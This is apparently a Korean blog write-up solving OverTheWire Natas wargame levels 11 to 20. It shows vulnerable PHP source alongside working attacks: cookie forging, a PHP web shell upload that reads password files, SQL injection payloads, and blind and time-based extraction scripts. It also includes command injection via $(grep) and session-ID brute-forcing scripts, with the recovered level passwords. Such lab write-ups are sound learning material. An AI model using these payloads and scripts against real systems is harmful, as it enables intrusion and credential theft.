Post

Natas 11 ~ 20

Natas11

1
Pasword: U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
<?
$defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");

function xor_encrypt($in) {
    $key = '<censored>';
    $text = $in;
    $outText = '';

    // Iterate through each character
    for($i=0;$i<strlen($text);$i++) {
        $outText .= $text[$i] ^ $key[$i % strlen($key)];
    }
    return $outText;
}

function loadData($def) {
    global $_COOKIE;
    $mydata = $def;
    if(array_key_exists("data", $_COOKIE)) {
        $tempdata = json_decode(xor_encrypt(base64_decode($_COOKIE["data"])), true);
        if(is_array($tempdata) && array_key_exists("showpassword", $tempdata) && array_key_exists("bgcolor", $tempdata)) {
            if (preg_match('/^#(?:[a-f\d]{6})$/i', $tempdata['bgcolor'])) {
                $mydata['showpassword'] = $tempdata['showpassword'];
                $mydata['bgcolor'] = $tempdata['bgcolor'];
            }
        }
    }
    return $mydata;
}

function saveData($d) {
    setcookie("data", base64_encode(xor_encrypt(json_encode($d))));
}

$data = loadData($defaultdata);

if(array_key_exists("bgcolor",$_REQUEST)) {
    if (preg_match('/^#(?:[a-f\d]{6})$/i', $_REQUEST['bgcolor'])) {
        $data['bgcolor'] = $_REQUEST['bgcolor'];
    }
}

saveData($data); # ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw=
?>

<h1>natas11</h1>
<div id="content">
<body style="background: <?=$data['bgcolor']?>;">
Cookies are protected with XOR encryption<br/><br/>

<?
if($data["showpassword"] == "yes") {
    print "The password for natas12 is <censored><br>";
}
?>
1
2
3
4
5
6
7
8
9
10
11
12
b64decode한 값과 key를 xor해서 나와야되는 값이 결국엔 아래와 같이 되어야함. 
{"showpassword"=>"no", "bgcolor"=>"#ffffff"}
따라서 키 값을 구하기 위해선 위의 json과 b64decode 값을 XOR연산해주면 됨.

key : qw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jq -> qw8J가 반복됨. 따라서 키는 qw8J

키를 구했으면 본문에 있던 쿠키 세팅 함수를 그대로 따라하면 됨.

Cookie :ClVLAh4ASAsCBE8FAxMaUFMOXRlTWxoIFhRXBh4FGlBTVF4MFxFeDFMK

burp suite로 쿠키값을 변경시켜주면 비밀번호를 얻을 수 있음.
The password for natas12 is EDXp0pS26wLKHZy1rDBPUZk0RKfLGIR3

아래는 키와 data 쿠키값을 구하는 코드.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
function key_xor($in) {
        $json=json_encode(array("showpassword"=>"no", "bgcolor"=>"#ffffff"));
        $text=$in;
        $key='';
        for($i=0;$i<strlen($text);$i++) {
                $key .= $text[$i] ^ $json[$i % strlen($json)];
        }
        return $key;
}

function encrypt() {
        $key='qw8J';
        $json=json_encode(array( "showpassword"=>"yes", "bgcolor"=>"#ffffff"));
        $output='';
        for($i=0;$i<strlen($json);$i++) {
                $output .= $json[$i] ^ $key[$i % strlen($key)];
        }
        return $output;
}

$a='ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw=';
$b=base64_decode($a);
$key=key_xor($b);
echo "key : ".$key."<br>";
$c=encrypt();
$d=base64_encode($c);
echo "Cookie : ".$d;
?>

Natas12

1
Password: EDXp0pS26wLKHZy1rDBPUZk0RKfLGIR3
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<? 
function genRandomString() {
    $length = 10;
    $characters = "0123456789abcdefghijklmnopqrstuvwxyz";
    $string = "";    

    for ($p = 0; $p < $length; $p++) {
        $string .= $characters[mt_rand(0, strlen($characters)-1)];
    }

    return $string;
}

function makeRandomPath($dir, $ext) {
    do {
    $path = $dir."/".genRandomString().".".$ext; # upload/??.jpg
    } while(file_exists($path));
    return $path;
}

function makeRandomPathFromFilename($dir, $fn) {
    $ext = pathinfo($fn, PATHINFO_EXTENSION); # 파일 확장자 반환 -> jpg
    return makeRandomPath($dir, $ext); # upload, jpg
}

if(array_key_exists("filename", $_POST)) {
    $target_path = makeRandomPathFromFilename("upload", $_POST["filename"]); # upload/??.jpg


        if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) {
        echo "File is too big";
    } else {
        if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
            echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded";
        } else{
            echo "There was an error uploading the file, please try again!";
        }
    }
} else {
?>

<form enctype="multipart/form-data" action="index.php" method="POST">
<input type="hidden" name="MAX_FILE_SIZE" value="1000" />
<input type="hidden" name="filename" value="<? print genRandomString(); ?>.jpg" />
Choose a JPEG to upload (max 1KB):<br/>
<input name="uploadedfile" type="file" /><br />
<input type="submit" value="Upload File" />
</form>
<? } ?>
1
2
우선 코드에서 보낸 파일이 jpg파일인지를 검사하지 않음. 이 점에서 취약점이 발생함.
burp suite로 인터넷에 있는 아무 jpeg 사진을 다운받아 파일을 보내면 아래처럼 나올꺼임.
1
2
3
4
5
6
7
8
9
10
Content-Disposition: form-data; name="filename"

fszcyy2f6v.jpg
------WebKitFormBoundaryzb9VGXApWtmR1DBc
Content-Disposition: form-data; name="uploadedfile"; filename="test.jpg"
Content-Type: image/jpeg


어쩌구 JFIF 어쩌구
사진 내용 
1
2
3
코드를 보면 $_POST["filename"]의 값이 .jpg로 설정되어 있는데 이 부분을 burp suite로
???.php로 바꿔주고 Content-Type도 text/html로 바꿔준 다음 사진 내용 부분에 php 코드를
넣어주고 보내주면 php 파일이 생성이 되고 비밀번호를 얻을 수 있음.
1
2
3
4
5
6
7
8
9
10
Request

Content-Disposition: form-data; name="filename"

9pbkrkkmks.php                                                  <- 변경
------WebKitFormBoundarybn72WB3ABtEbfi8Y
Content-Disposition: form-data; name="uploadedfile"; filename="test.php"
Content-Type: text/html                                         <- 변경

<?php passthru('cat /etc/natas_webpass/natas13'); ?>            <- 코드 삽입
1
2
3
4
5
6
Response

The file <a href="upload/qlkeapfk6p.php">upload/qlkeapfk6p.php</a> has been uploade

확인하면 비밀번호가 있음.
jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY

Natas13

1
Password: jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
if(array_key_exists("filename", $_POST)) {
    $target_path = makeRandomPathFromFilename("upload", $_POST["filename"]);
    
    $err=$_FILES['uploadedfile']['error'];
    if($err){
        if($err === 2){
            echo "The uploaded file exceeds MAX_FILE_SIZE";
        } else{
            echo "Something went wrong :/";
        }
    } else if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) {
        echo "File is too big";
    } else if (! exif_imagetype($_FILES['uploadedfile']['tmp_name'])) {
        echo "File is not an image";
    } else {
        if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
            echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded";
        } else{
            echo "There was an error uploading the file, please try again!";
        }
    }
1
2
3
4
이번엔 이미지인지 검사를 하는 듯함. 중요한 점은 jpg 이미지인지 검사를 하는 것이 아니라는 점
즉, png등 이미지이기만 하면 됨. 
처음엔 jpg로 하려했으나 구조를 잘 몰라서 이미지가 아니라고 떠서 png로 하였음.
png는 구조가 burp suite로 보면 명확하게 구분이 되어있음. 

그래서 png구조 아래에 php 코드를 삽입해주고 나머지는 natas12와 동일하게 해주면 성공

1
Password: Lg96M10TdfaPyVBkJdjymbllQ5L6qdl1

Natas14

1
Password: Lg96M10TdfaPyVBkJdjymbllQ5L6qdl1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?
if(array_key_exists("username", $_REQUEST)) {
    $link = mysql_connect('localhost', 'natas14', '<censored>');
    mysql_select_db('natas14', $link);
    
    $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\" and password=\"".$_REQUEST["password"]."\"";
    if(array_key_exists("debug", $_GET)) {
        echo "Executing query: $query<br>";
    }

    if(mysql_num_rows(mysql_query($query, $link)) > 0) {
            echo "Successful login! The password for natas15 is <censored><br>";
    } else {
            echo "Access denied!<br>";
    }
    mysql_close($link);
} else {
?>

<form action="index.php" method="POST">
Username: <input name="username"><br>
Password: <input name="password"><br>
<input type="submit" value="Login" />
</form>
<? } ?>
1
2
기초적인 sql injection 문제. burp suite로 username=" or 1 #&password=a 라 보내면 됨.
Successful login! The password for natas15 is AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J

Natas15

1
Password: AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
/*
CREATE TABLE `users` (
  `username` varchar(64) DEFAULT NULL,
  `password` varchar(64) DEFAULT NULL
);
*/

if(array_key_exists("username", $_REQUEST)) {
    $link = mysql_connect('localhost', 'natas15', '<censored>');
    mysql_select_db('natas15', $link);
    
    $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
    if(array_key_exists("debug", $_GET)) {
        echo "Executing query: $query<br>";
    }

    $res = mysql_query($query, $link);
    if($res) {
    if(mysql_num_rows($res) > 0) {
        echo "This user exists.<br>";
    } else {
        echo "This user doesn't exist.<br>";
    }
    } else {
        echo "Error in query.<br>";
    }

    mysql_close($link);
} else {
?>

<form action="index.php" method="POST">
Username: <input name="username"><br>
<input type="submit" value="Check existence" />
</form>
<? } ?>
1
2
이번엔 쿼리 결과를 보여주지 않음. 즉, Blind SQL Injection 문제임.
파이썬으로 코드를 짜서 공격해야함.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import string
import requests

url='http://natas15.natas.labs.overthewire.org/'
headers={
    'Content-Type' : 'application/x-www-form-urlencoded',
    'Authorization' : 'Basic redacted'
    }
cookies={
    '_utma' : 'redacted',
    '_utmc=' : 'redacted',
    '_utmz' : 'redacted'
    }

string=string.digits+string.ascii_letters
password=''

for i in range(1,33) :
    for j in string :
        datas=data={'username' : 'natas16" and ascii(substr(password,'+str(i)+',1))='+str(ord(j))+' #'}
        res=requests.post(url,data=datas, headers=headers, cookies=cookies)
        if "This user exists.<br>" in res.text:
            print('Find! '+str(i)+'th pw : '+j)
            password+=j
            break
    print(str(i)+' end')

print(password) # WaIHEacj63wnNIBROHeqi3p9t0m5nhmh

위 코드는 근데 시간이 살짝 걸림. 더 빠르게 하는 방법이 있음.
위의 방법은 단순히 아스키값을 비교하는 반면, 아래 방법은 그 아스키값을 2진수로 바꿔서 비트 값을 비교하여 찾는 방법임.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import string
import requests

url='http://natas15.natas.labs.overthewire.org/'
headers={
    'Content-Type' : 'application/x-www-form-urlencoded',
    'Authorization' : 'Basic [redacted]'
    }
cookies={
    '_utma' : 'redacted',
    '_utmc=' : 'redacted',
    '_utmz' : 'redacted'
    }

string=string.digits+string.ascii_letters
password=''

for i in range(1,33) :
    bit_len=''
    datas={'username' : 'natas16" and length(bin(ascii(substr(password,'+str(i)+',1))))=6 #'}
    res=requests.post(url,data=datas, headers=headers, cookies=cookies)
    if "This user exists.<br>" in res.text:
         bit_len=6
    else :
         bit_len=7
         
    pw_bit=''
    for j in range(1,bit_len+1) :
        datas={'username' : 'natas16" and substr(bin(ascii(substr(password,'+str(i)+',1))),'+str(j)+',1)=0 #'}
        res=requests.post(url,data=datas, headers=headers, cookies=cookies)
        if "This user exists.<br>" in res.text:
            pw_bit+='0'
        else :
            pw_bit+='1'
    print(str(i)+' pw_bit : '+pw_bit)
    password+=chr(int(pw_bit,2))
    print("Password :",password) 
# WaIHEacj63wnNIBROHeqi3p9t0m5nhmh

Natas16 (풀이 봄)

1
2
3
4
5
6
7
Password: WaIHEacj63wnNIBROHeqi3p9t0m5nhmh
         
For security reasons, we now filter even more on certain characters

Find words containing: [               ][search]

Output:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?
$key = "";

if(array_key_exists("needle", $_REQUEST)) {
    $key = $_REQUEST["needle"];
}

if($key != "") {
    if(preg_match('/[;|&`\'"]/',$key)) {
        print "Input contains an illegal character!";
    } 
    else {
        passthru("grep -i \"$key\" dictionary.txt");
    }
}
?>
1
2
3
4
5
6
7
8
9
큰 따옴표에서 $, `, \는 예외로 한다는 것은 알고 있었지만 `은 필터링 되어있어 명령어 실행 불가,
남은건 \와 $인데 $는 검색을 해보았지만 찾질 못했음. 그래서 어쩔수 없이 풀이를 찾아보았고, 
$()는 ` `와 유사한 기능을 한다고 함. 하지만 지난 문제처럼 패스워드가 화면에 나타나게 할 수는 없음.
따라서 위의 문제처럼 한글자씩 총 32글자를 찾아내야함. 
$()안에서 grep 명령어를 실행하여 패스워드가 있는 파일에서 첫글자부터 한글자씩 찾아내야하며
찾았는지 못찾았는지 구분하기 위해서 찾았을 때는 아무것도 출력되지 않고, 못찾았을 때는
dictionary.txt에 있는 단어들중 하나를 출력되게 해주면 됨.

아래는 테스트 해보기 위해 test.txt에는 natas16 비밀번호가, dict.txt에는 africans가 있음.
1
2
grep -i "$(grep ^w test.txt)america" dict.txt -> africans가 출력이 됨.
grep -i "$(grep ^W test.txt)america" dict.txt -> 아무것도 나오지 않음

그래서 위의 내용을 그대로 파이썬으로 코드를 짜면 됨. 단점은 시간이 좀 걸린다는 것?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import string
import requests

url='http://natas16.natas.labs.overthewire.org/'
headers={
    'Content-Type' : 'application/x-www-form-urlencoded',
    'Authorization' : 'Basic [redacted]'
    }
cookies={
    '_utma' : 'redacted',
    '_utmc=' : 'redacted',
    '_utmz' : 'redacted'
    }

string=string.digits+string.ascii_letters
password=''

for i in range(1,33):
    for c in string :
        params={'needle' : '$(grep ^'+password+c+' /etc/natas_webpass/natas17)africans','submit' : 'Search'}
        res=requests.get(url, params=params, headers=headers, cookies=cookies)
        if "Africans" not in res.text:
            password+=c
            print("PW : "+password)     
            break
print("Done")   #8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw

Natas17

1
Password: 8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?
/*
CREATE TABLE `users` (
  `username` varchar(64) DEFAULT NULL,
  `password` varchar(64) DEFAULT NULL
);
*/
if(array_key_exists("username", $_REQUEST)) {
    $link = mysql_connect('localhost', 'natas17', '<censored>');
    mysql_select_db('natas17', $link);
    
    $query = 'SELECT * from users where username="'.$_REQUEST["username"].'"';
    if(array_key_exists("debug", $_GET)) {
        echo "Executing query: $query<br>";
    }
    $res = mysql_query($query, $link);
    if($res) {
        if(mysql_num_rows($res) > 0) {
            //echo "This user exists.<br>";
            } 
            else {
            //echo "This user doesn't exist.<br>";
            }
    } 
    else {
        //echo "Error in query.<br>";
    }
    mysql_close($link);
} 
else {
?>

<form action="index.php" method="POST">
Username: <input name="username"><br>
<input type="submit" value="Check existence" />
</form>
<? } ?>

이번엔 쿼리 결과도 모르는 상황임. 이럴 떈 Time Based SQL Injection으로 풀 수 있음. 단점은 오래 걸린다는 것뿐.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import requests
import string
import time

url='http://natas17.natas.labs.overthewire.org/'
headers={
    'Content-Type' : 'application/x-www-form-urlencoded',
    'Authorization' : 'Basic [redacted]'
    }
cookies={
    '_utma' : 'redacted',
    '_utmc=' : 'redacted',
    '_utmz' : 'redacted'
    }

string=string.digits+string.ascii_letters
password=''

for i in range(1,33) :
    for j in string :
        data={'username' : 'natas18" and if(ascii(substr(password,'+str(i)+',1))='+str(ord(j))+',1,sleep(1)) #'}
        t1=time.time()
        res=requests.post(url, data=data, headers=headers, cookies=cookies)
        t2=time.time()
        if t2-t1 < 1 :
            password+=j
            print("pw : "+password)
            break

print("Done! Password is",password) #xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP

Natas18(풀이 봄)

1
Password: xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
<?

$maxid = 640; // 640 should be enough for everyone

function isValidAdminLogin() {
    if($_REQUEST["username"] == "admin") {
    /* This method of authentication appears to be unsafe and has been disabled for now. */
        //return 1;
    }
    return 0;
}

function isValidID($id) { 
    return is_numeric($id);
}

function createID($user) { 
    global $maxid;
    return rand(1, $maxid);
}

function debug($msg) { 
    if(array_key_exists("debug", $_GET)) {
        print "DEBUG: $msg<br>";
    }
}

function my_session_start() { 
    if(array_key_exists("PHPSESSID", $_COOKIE) and isValidID($_COOKIE["PHPSESSID"])) {
    if(!session_start()) {
        debug("Session start failed");
        return false;
    } else {
        debug("Session start ok");
        if(!array_key_exists("admin", $_SESSION)) {
        debug("Session was old: admin flag set");
        $_SESSION["admin"] = 0; // backwards compatible, secure
        }
        return true;
    }
    }

    return false;
}

function print_credentials() { 
    if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) {
    print "You are an admin. The credentials for the next level are:<br>";
    print "<pre>Username: natas19\n";
    print "Password: <censored></pre>";
    } else {
    print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas19.";
    }
}

$showform = true;
if(my_session_start()) {
    print_credentials();
    $showform = false;
} else {
    if(array_key_exists("username", $_REQUEST) && array_key_exists("password", $_REQUEST)) {
    session_id(createID($_REQUEST["username"]));
    session_start();
    $_SESSION["admin"] = isValidAdminLogin(); # 0
    debug("New session started");
    $showform = false;
    print_credentials();
    }
} 

if($showform) {
?>

<p>
Please login with your admin account to retrieve credentials for natas19.
</p>

<form action="index.php" method="POST">
Username: <input name="username"><br>
Password: <input name="password"><br>
<input type="submit" value="Login" />
</form>
<? } ?>
1
2
3
처음엔 어떻게 admin의 값을 1로 바꿔주나 했었는데 결국 풀이를 보니 그냥 1~640 사이 중에
admin값이 1인 것이 있나봄. 그래서 그냥 파이썬으로 brute force 해주면 됨. 
PHPSESSID=119이 admin 세션이였음.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests

url='http://natas18.natas.labs.overthewire.org/'
headers={
    'Content-Type': 'application/x-www-form-urlencoded',
    'Authorization' : 'Basic [redacted]'
    }
datas={'username' :'admin', 'password' : 'admin'}

for i in range(1,641) :
    cookies={'PHPSESSID' : str(i)}
    res=requests.post(url,data=datas, headers=headers, cookies=cookies)
    if "You are an admin." in res.text :
        print(str(i),"is admin session")
        print(res.text) # 4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs
        break
    else :
        print(str(i),"Fail") 

Natas19 (풀이 봄)

1
2
3
4
Password: 4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs

This page uses mostly the same code as the previous level, 
but session IDs are no longer sequential...
1
2
3
4
5
6
7
8
9
10
11
12
13
username이 a일 때
3631382d61, 3632332d61, 35342d61, 3432362d61 3336312d61

username이 b일 때
3238362d62, 3531312d62, 3236362d62, 3233392d62 

username이 AB일 때
3134372d4142

우선 2dxx는 - username의 hex값임. 즉, 저 PHPSESSID의 값은 hex값으로 되어있고 확인해보면
a일 때, 618 - a, 623-a, 54-a, 426-a
b일 때, 286-b
이런 식임. 즉, 앞에서 본 1~640사이 랜덤 숫자 - username hex값이였음.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import requests
import binascii

url='http://natas19.natas.labs.overthewire.org/'
headers={
    'Content-Type': 'application/x-www-form-urlencoded',
    'Authorization' : 'Basic [redacted]'
    }
datas={'username' :'admin', 'password' : 'a'}


for i in range(1,641) :
    value=(str(i)+'-admin').encode()
    session=binascii.hexlify(value).decode()
    cookies={'PHPSESSID' : session}
    res=requests.post(url,data=datas, headers=headers, cookies=cookies)
    if "You are an admin." in res.text :
        print(session,"is admin session")
        print(res.text) 
        break
    else :
        print(str(i),session,"Fail")

# 281 3238312d61646d696e is admin session
# Password: eofm3Wsshxc5bwtVnEuGIlr7ivb9KABF

Natas20

1
Password: eofm3Wsshxc5bwtVnEuGIlr7ivb9KABF
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
<?
function debug($msg) { 
    if(array_key_exists("debug", $_GET)) {
        print "DEBUG: $msg<br>";
    }
}
function print_credentials() { 
    if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) {
    print "You are an admin. The credentials for the next level are:<br>";
    print "<pre>Username: natas21\n";
    print "Password: <censored></pre>";
    } else {
    print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas21.";
    }
}

/* we don't need this */
function myopen($path, $name) { 
    //debug("MYOPEN $path $name"); 
    return true; 
}

/* we don't need this */
function myclose() { 
    //debug("MYCLOSE"); 
    return true; 
}

function myread($sid) { 
    debug("MYREAD $sid"); 
    if(strspn($sid, "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM-") != strlen($sid)) {
    debug("Invalid SID"); 
        return "";
    }
    $filename = session_save_path() . "/" . "mysess_" . $sid; 
    # /var/lib/php/sessions/mysess/$sid
    if(!file_exists($filename)) {
        debug("Session file doesn't exist");
        return "";
    }
    debug("Reading from ". $filename);
    $data = file_get_contents($filename);
    $_SESSION = array();
    foreach(explode("\n", $data) as $line) {
        debug("Read [$line]");
        $parts = explode(" ", $line, 2);
        if($parts[0] != "") $_SESSION[$parts[0]] = $parts[1];
    }
    return session_encode();
}

function mywrite($sid, $data) { 
    // $data contains the serialized version of $_SESSION
    // but our encoding is better
    debug("MYWRITE $sid $data"); 
    // make sure the sid is alnum only!!
    if(strspn($sid, "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM-") != strlen($sid)) {
    debug("Invalid SID"); 
        return;
    }
    $filename = session_save_path() . "/" . "mysess_" . $sid;
    $data = "";
    debug("Saving in ". $filename);
    ksort($_SESSION);
    foreach($_SESSION as $key => $value) {
        debug("$key => $value");
        $data .= "$key $value\n";
    }
    file_put_contents($filename, $data);
    chmod($filename, 0600);
}

/* we don't need this */
function mydestroy($sid) {
    //debug("MYDESTROY $sid"); 
    return true; 
}
/* we don't need this */
function mygarbage($t) { 
    //debug("MYGARBAGE $t"); 
    return true; 
}

session_set_save_handler(
    "myopen", 
    "myclose", 
    "myread", 
    "mywrite", 
    "mydestroy", 
    "mygarbage");
session_start();

if(array_key_exists("name", $_REQUEST)) {
    $_SESSION["name"] = $_REQUEST["name"];
    debug("Name set to " . $_REQUEST["name"]);
}

print_credentials();

$name = "";
if(array_key_exists("name", $_SESSION)) {
    $name = $_SESSION["name"];
}
?>

<form action="index.php" method="POST">
Your name: <input name="name" value="<?=$name?>"><br>
<input type="submit" value="Change name" />
</form>
1
This post is licensed under CC BY 4.0 by the author.